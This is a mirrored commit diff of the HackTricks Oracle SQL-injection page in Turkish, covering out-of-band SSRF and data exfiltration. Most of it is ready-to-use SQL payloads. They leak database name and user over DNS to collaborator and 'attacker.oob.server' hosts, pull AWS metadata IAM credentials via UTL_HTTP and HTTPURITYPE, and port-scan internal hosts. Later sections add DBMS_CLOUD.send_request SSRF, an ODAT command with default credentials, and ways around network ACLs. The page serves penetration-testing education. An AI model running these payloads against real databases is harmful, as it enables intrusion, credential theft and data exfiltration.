mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/pentesting-web/sql-injection/oracle-injection.md'] to t
This commit is contained in:
		
							parent
							
								
									03e6c98305
								
							
						
					
					
						commit
						ef8238fb37
					
				@ -2,15 +2,15 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
**Bu gönderiyi [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) adresindeki silinmiş gönderinin wayback makinesi kopyasıyla sunun.**
 | 
			
		||||
**Bu gönderiyi [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) adresindeki silinmiş gönderinin wayback machine kopyasıyla sunun.**
 | 
			
		||||
 | 
			
		||||
## SSRF
 | 
			
		||||
 | 
			
		||||
Oracle kullanarak Out of Band HTTP ve DNS istekleri yapmak iyi belgelenmiştir, ancak bu, enjeksiyonlarda SQL verilerini dışarı sızdırmanın bir yolu olarak kullanılır. Bu teknikleri/fonksiyonları her zaman diğer SSRF/XSPA'ları yapmak için değiştirebiliriz.
 | 
			
		||||
Oracle kullanarak Out of Band HTTP ve DNS istekleri yapmak iyi belgelenmiştir, ancak bu, enjeksiyonlarda SQL verilerini dışarı sızdırmak için bir yöntemdir. Bu teknikleri/fonksiyonları her zaman diğer SSRF/XSPA'ları yapmak için değiştirebiliriz.
 | 
			
		||||
 | 
			
		||||
Oracle kurmak gerçekten acı verici olabilir, özellikle de komutları denemek için hızlı bir örnek kurmak istiyorsanız. Arkadaşım ve [Appsecco](https://appsecco.com) ile iş arkadaşım [Abhisek Datta](https://github.com/abhisek), t2.large AWS Ubuntu makinesinde ve Docker ile bir örnek kurmamı sağlayan [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) adresini bana gösterdi.
 | 
			
		||||
Oracle'ı kurmak gerçekten acı verici olabilir, özellikle de komutları denemek için hızlı bir örnek kurmak istiyorsanız. [Appsecco](https://appsecco.com) şirketindeki arkadaşım ve meslektaşım [Abhisek Datta](https://github.com/abhisek), bana bir t2.large AWS Ubuntu makinesinde ve Docker'da bir örnek kurmamı sağlayan [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) adresini gösterdi.
 | 
			
		||||
 | 
			
		||||
Docker komutunu `--network="host"` bayrağı ile çalıştırdım, böylece bu blog yazısının süresince Oracle'ı tam ağ erişimi ile yerel bir kurulum olarak taklit edebildim.
 | 
			
		||||
Bu blog yazısının süresince Oracle'ı tam ağ erişimi ile yerel bir kurulum olarak taklit edebilmek için `--network="host"` bayrağı ile docker komutunu çalıştırdım.
 | 
			
		||||
```
 | 
			
		||||
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
 | 
			
		||||
```
 | 
			
		||||
@ -37,19 +37,19 @@ Arama aşağıdaki sonuçları döndürdü (hepsi dışa ağ bağlantısı gerç
 | 
			
		||||
- DBMS_STREAMS_ADM
 | 
			
		||||
- UTL_HTTP
 | 
			
		||||
 | 
			
		||||
Bu kaba arama açıkça `DBMS_LDAP` gibi paketleri atlıyor (bir ana bilgisayar adı ve port numarası geçişine izin verir) çünkü [belgelendirme sayfası](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) sizi [farklı bir konuma](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) yönlendiriyor. Bu nedenle, dışa istekler yapmak için kötüye kullanılabilecek başka Oracle paketleri de olabilir, bunları atlamış olabilirim.
 | 
			
		||||
Bu kaba arama, `DBMS_LDAP` gibi paketleri açıkça atlıyor (bir ana bilgisayar adı ve port numarası geçişine izin verir) çünkü [belgelendirme sayfası](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) sizi [farklı bir konuma](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) yönlendiriyor. Bu nedenle, dışa istekler yapmak için kötüye kullanılabilecek başka Oracle paketleri de olabilir, bunları atlamış olabilirim.
 | 
			
		||||
 | 
			
		||||
Her durumda, keşfettiğimiz ve yukarıda listelediğimiz bazı paketlere bir göz atalım.
 | 
			
		||||
 | 
			
		||||
**DBMS_LDAP.INIT**
 | 
			
		||||
 | 
			
		||||
`DBMS_LDAP` paketi, LDAP sunucularından veri erişimine izin verir. `init()` fonksiyonu, bir LDAP sunucusuyla bir oturum başlatır ve bir ana bilgisayar adı ve port numarasını argüman olarak alır.
 | 
			
		||||
`DBMS_LDAP` paketi, LDAP sunucularından veri erişimine olanak tanır. `init()` fonksiyonu, bir LDAP sunucusuyla bir oturum başlatır ve bir ana bilgisayar adı ve port numarasını argüman olarak alır.
 | 
			
		||||
 | 
			
		||||
Bu fonksiyon, aşağıdaki gibi DNS üzerinden veri sızdırma gösteren belgelenmiştir.
 | 
			
		||||
Bu fonksiyon, aşağıdaki gibi DNS üzerinden veri sızdırma gösterimi için daha önce belgelenmiştir.
 | 
			
		||||
```
 | 
			
		||||
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
 | 
			
		||||
```
 | 
			
		||||
Ancak, fonksiyonun bir ana bilgisayar adı ve bir port numarasını argüman olarak kabul ettiğini göz önünde bulundurursak, bunu bir port tarayıcı gibi çalıştırmak için de kullanabilirsiniz.
 | 
			
		||||
Ancak, fonksiyonun bir ana bilgisayar adı ve bir port numarasını argüman olarak kabul ettiğini göz önünde bulundurursak, bunu bir port tarayıcı gibi çalışmak için de kullanabilirsiniz.
 | 
			
		||||
 | 
			
		||||
İşte birkaç örnek
 | 
			
		||||
```
 | 
			
		||||
@ -58,7 +58,7 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
 | 
			
		||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
 | 
			
		||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
 | 
			
		||||
```
 | 
			
		||||
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` hatası, bir oturum değerinin portun açık olduğunu göstermesine rağmen portun kapalı olduğunu gösterir.
 | 
			
		||||
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` hatası, portun kapalı olduğunu gösterirken, bir oturum değeri portun açık olduğunu işaret ediyor.
 | 
			
		||||
 | 
			
		||||
**UTL_SMTP**
 | 
			
		||||
 | 
			
		||||
@ -84,7 +84,7 @@ END;
 | 
			
		||||
 | 
			
		||||
`UTL_TCP` paketi ve prosedürleri ile fonksiyonları, [hizmetlerle TCP/IP tabanlı iletişim](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190) sağlar. Belirli bir hizmet için programlandığında, bu paket ağa giriş yapmak veya tüm Sunucu Tarafı İsteklerini gerçekleştirmek için kolayca bir yol haline gelebilir, çünkü bir TCP/IP bağlantısının tüm yönleri kontrol edilebilir.
 | 
			
		||||
 | 
			
		||||
Oracle dokümantasyon sitesindeki [örnek, bu paketi kullanarak bir web sayfasını almak için ham bir TCP bağlantısı nasıl yapılacağını göstermektedir](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Bunu biraz daha basitleştirip, örneğin metadata örneğine veya keyfi bir TCP/IP hizmetine istek yapmak için kullanabiliriz.
 | 
			
		||||
Oracle dokümantasyon sitesindeki [örnek, bu paketi kullanarak bir web sayfasını almak için ham bir TCP bağlantısı nasıl yapabileceğinizi gösterir](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Bunu biraz daha basitleştirip, örneğin metadata örneğine veya keyfi bir TCP/IP hizmetine istek yapmak için kullanabiliriz.
 | 
			
		||||
```
 | 
			
		||||
set serveroutput on size 30000;
 | 
			
		||||
SET SERVEROUTPUT ON
 | 
			
		||||
@ -128,18 +128,101 @@ END;
 | 
			
		||||
 | 
			
		||||
**UTL_HTTP ve Web İstekleri**
 | 
			
		||||
 | 
			
		||||
Belki de her Out of Band Oracle SQL Injection eğitiminde en yaygın ve en çok belgelenmiş teknik [`UTL_HTTP` paketi](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070) dir. Bu paket, belgelerde şu şekilde tanımlanmıştır - `UTL_HTTP paketi, SQL ve PL/SQL'den Hypertext Transfer Protocol (HTTP) çağrıları yapar. HTTP üzerinden İnternetteki verilere erişmek için kullanabilirsiniz.`
 | 
			
		||||
Belki de her Out of Band Oracle SQL Injection eğitiminde en yaygın ve en çok belgelenmiş teknik [`UTL_HTTP` paketi](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070) dir. Bu paket, belgelerde şu şekilde tanımlanmıştır - `UTL_HTTP paketi, SQL ve PL/SQL'den Hypertext Transfer Protocol (HTTP) çağrıları yapar. HTTP üzerinden İnternetteki verilere erişmek için kullanılabilir.`
 | 
			
		||||
```
 | 
			
		||||
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
 | 
			
		||||
```
 | 
			
		||||
Ayrıca, bunu şu tür sorgularla bazı temel port taramaları gerçekleştirmek için de kullanabilirsiniz:
 | 
			
		||||
Ayrıca, bunu şu tür sorgularla bazı temel port taramaları gerçekleştirmek için de kullanabilirsiniz.
 | 
			
		||||
```
 | 
			
		||||
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
 | 
			
		||||
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
 | 
			
		||||
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
 | 
			
		||||
```
 | 
			
		||||
`ORA-12541: TNS:no listener` veya `TNS:operation timed out` hatası, TCP portunun kapalı olduğunu gösterirken, `ORA-29263: HTTP protocol error` veya veri, portun açık olduğunu gösterir.
 | 
			
		||||
`ORA-12541: TNS:no listener` veya `TNS:operation timed out` hatası, TCP portunun kapalı olduğunun bir işaretiyken, `ORA-29263: HTTP protocol error` veya veri, portun açık olduğunun bir işareti.
 | 
			
		||||
 | 
			
		||||
Geçmişte çeşitli başarılarla kullandığım başka bir paket, bir URL ile etkileşimde bulunmanıza ve HTTP protokolünü desteklemenize olanak tanıyan [`HTTPURITYPE` Oracle soyut türünün `GETCLOB()` yöntemi](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705)'dir. `GETCLOB()` yöntemi, bir URL'den GET yanıtını [CLOB veri türü olarak](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) almak için kullanılır. [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
 | 
			
		||||
Geçmişte çeşitli başarılarla kullandığım başka bir paket, bir URL ile etkileşimde bulunmanıza ve HTTP protokolünü desteklemenize olanak tanıyan [`HTTPURITYPE` Oracle soyut türünün `GETCLOB()` yöntemi](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705)'dir. `GETCLOB()` yöntemi, bir URL'den GET yanıtını [CLOB veri türü olarak](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) almak için kullanılır.
 | 
			
		||||
```
 | 
			
		||||
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
 | 
			
		||||
```
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Ek Paketler ve Teknikler (Oracle 19c → 23c)
 | 
			
		||||
 | 
			
		||||
### UTL_INADDR – DNS tabanlı dışa aktarma ve host keşfi
 | 
			
		||||
 | 
			
		||||
`UTL_INADDR`, veritabanı sunucusundan dışa doğru bir DNS sorgusu tetikleyen basit ad çözümleme yardımcılarını açığa çıkarır. Sadece bir alan adı gerektiğinden (port/ACL gerekmez) diğer ağ çağrıları engellendiğinde kör dışa aktarma için güvenilir bir ilkelidir.
 | 
			
		||||
```sql
 | 
			
		||||
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
 | 
			
		||||
SELECT UTL_INADDR.get_host_address(
 | 
			
		||||
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
 | 
			
		||||
'.attacker.oob.server') FROM dual;
 | 
			
		||||
```
 | 
			
		||||
`get_host_address()` çözümlenen IP'yi döndürür (veya çözümleme başarısız olursa `ORA-29257` hatası verir). Saldırgan, kodun çalıştığını doğrulamak için kontrol edilen alandaki gelen DNS isteğini izlemek zorundadır.
 | 
			
		||||
 | 
			
		||||
### DBMS_CLOUD.SEND_REQUEST – Otonom/23c üzerinde tam HTTP istemcisi
 | 
			
		||||
 | 
			
		||||
Son zamanlarda bulut merkezli sürümler (Otonom Veritabanı, 21c/23c, 23ai) `DBMS_CLOUD` ile birlikte gelir. `SEND_REQUEST` fonksiyonu, özel fiiller, başlıklar, TLS ve büyük gövdeleri destekleyen genel amaçlı bir HTTP istemcisi olarak işlev görür ve bu da onu klasik `UTL_HTTP`'den çok daha güçlü hale getirir.
 | 
			
		||||
```sql
 | 
			
		||||
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
 | 
			
		||||
BEGIN
 | 
			
		||||
-- empty credential when no auth is required
 | 
			
		||||
DBMS_CLOUD.create_credential(
 | 
			
		||||
credential_name => 'NOAUTH',
 | 
			
		||||
username        => 'ignored',
 | 
			
		||||
password        => 'ignored');
 | 
			
		||||
END;
 | 
			
		||||
/
 | 
			
		||||
 | 
			
		||||
DECLARE
 | 
			
		||||
resp  DBMS_CLOUD_TYPES.resp;
 | 
			
		||||
BEGIN
 | 
			
		||||
resp := DBMS_CLOUD.send_request(
 | 
			
		||||
credential_name => 'NOAUTH',
 | 
			
		||||
uri             => 'http://169.254.169.254/latest/meta-data/',
 | 
			
		||||
method          => 'GET',
 | 
			
		||||
timeout         => 3);
 | 
			
		||||
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
 | 
			
		||||
END;
 | 
			
		||||
/
 | 
			
		||||
```
 | 
			
		||||
Çünkü `SEND_REQUEST` rastgele hedef URI'lerine izin veriyor, SQLi aracılığıyla kötüye kullanılabilir:
 | 
			
		||||
1. Dahili port taraması / SSRF bulut meta veri hizmetlerine.
 | 
			
		||||
2. HTTPS üzerinden dışarıdan veri sızdırma (Burp Collaborator veya bir `ngrok` tüneli kullanın).
 | 
			
		||||
3. Eski çağrı paketleri ACL'ler tarafından devre dışı bırakıldığında bile saldırgan sunuculara geri çağırmalar.
 | 
			
		||||
 | 
			
		||||
ℹ️ Eğer sadece klasik bir yerel 19c'ye sahipseniz ama Java saklı prosedürleri oluşturabiliyorsanız, bazen OCI istemci paketi üzerinden `DBMS_CLOUD` yükleyebilirsiniz — bazı angajmanlarda faydalıdır.
 | 
			
		||||
 | 
			
		||||
### **ODAT** ile saldırı yüzeyini otomatikleştirme
 | 
			
		||||
 | 
			
		||||
[ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) modern sürümlerle uyumlu kalmıştır (19c, 5.1.1 – Nisan-2022'ye kadar test edilmiştir). `–utl_http`, `–utl_tcp`, `–httpuritype` ve daha yeni `–dbms_cloud` modülleri otomatik olarak:
 | 
			
		||||
* Kullanılabilir çağrı paketlerini/ACL izinlerini tespit eder.
 | 
			
		||||
* Kör çıkarım için DNS ve HTTP geri çağırmalarını tetikler.
 | 
			
		||||
* Burp/SQLMap için kopyalamaya hazır SQL yükleri oluşturur.
 | 
			
		||||
 | 
			
		||||
Örnek: varsayılan kimlik bilgileri ile hızlı OOB kontrolü (arka planda ACL numaralandırmasını halleder):
 | 
			
		||||
```bash
 | 
			
		||||
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
 | 
			
		||||
```
 | 
			
		||||
### Son ağ ACL kısıtlamaları ve atlatmalar
 | 
			
		||||
 | 
			
		||||
Oracle, Temmuz 2023 CPU'sunda varsayılan Ağ ACL'lerini sıkılaştırdı — yetkisiz hesaplar artık varsayılan olarak `ORA-24247: network access denied by access control list` alıyor. İki desen, SQLi aracılığıyla çağrılara izin vermeye devam ediyor:
 | 
			
		||||
1. Hedef hesap, bir geliştirici tarafından entegrasyonlar için eklenen bir ACL girişine (`DBMS_NETWORK_ACL_ADMIN.create_acl`) sahiptir.
 | 
			
		||||
2. Saldırgan, *zaten* `AUTHID DEFINER` ve gerekli yetkilere sahip olan yüksek ayrıcalıklı bir PL/SQL tanımlayıcı hakları rutinini (örneğin, özel bir uygulamada) kötüye kullanır.
 | 
			
		||||
 | 
			
		||||
Sömürü sırasında `ORA-24247` ile karşılaşırsanız, her zaman yeniden kullanılabilir prosedürler arayın:
 | 
			
		||||
```sql
 | 
			
		||||
SELECT owner, object_name
 | 
			
		||||
FROM   dba_objects
 | 
			
		||||
WHERE  object_type = 'PROCEDURE'
 | 
			
		||||
AND  authid       = 'DEFINER';
 | 
			
		||||
```
 | 
			
		||||
(müfettişliklerde en az bir raporlama/ihracat prosedürü gerekli haklara sahipti).
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
 | 
			
		||||
* Oracle Belgeleri – `DBMS_CLOUD.SEND_REQUEST` paketi tanımı ve örnekleri.
 | 
			
		||||
* quentinhardy/odat – Oracle Veritabanı Saldırı Aracı (son sürüm 5.1.1, Nis-2022).
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user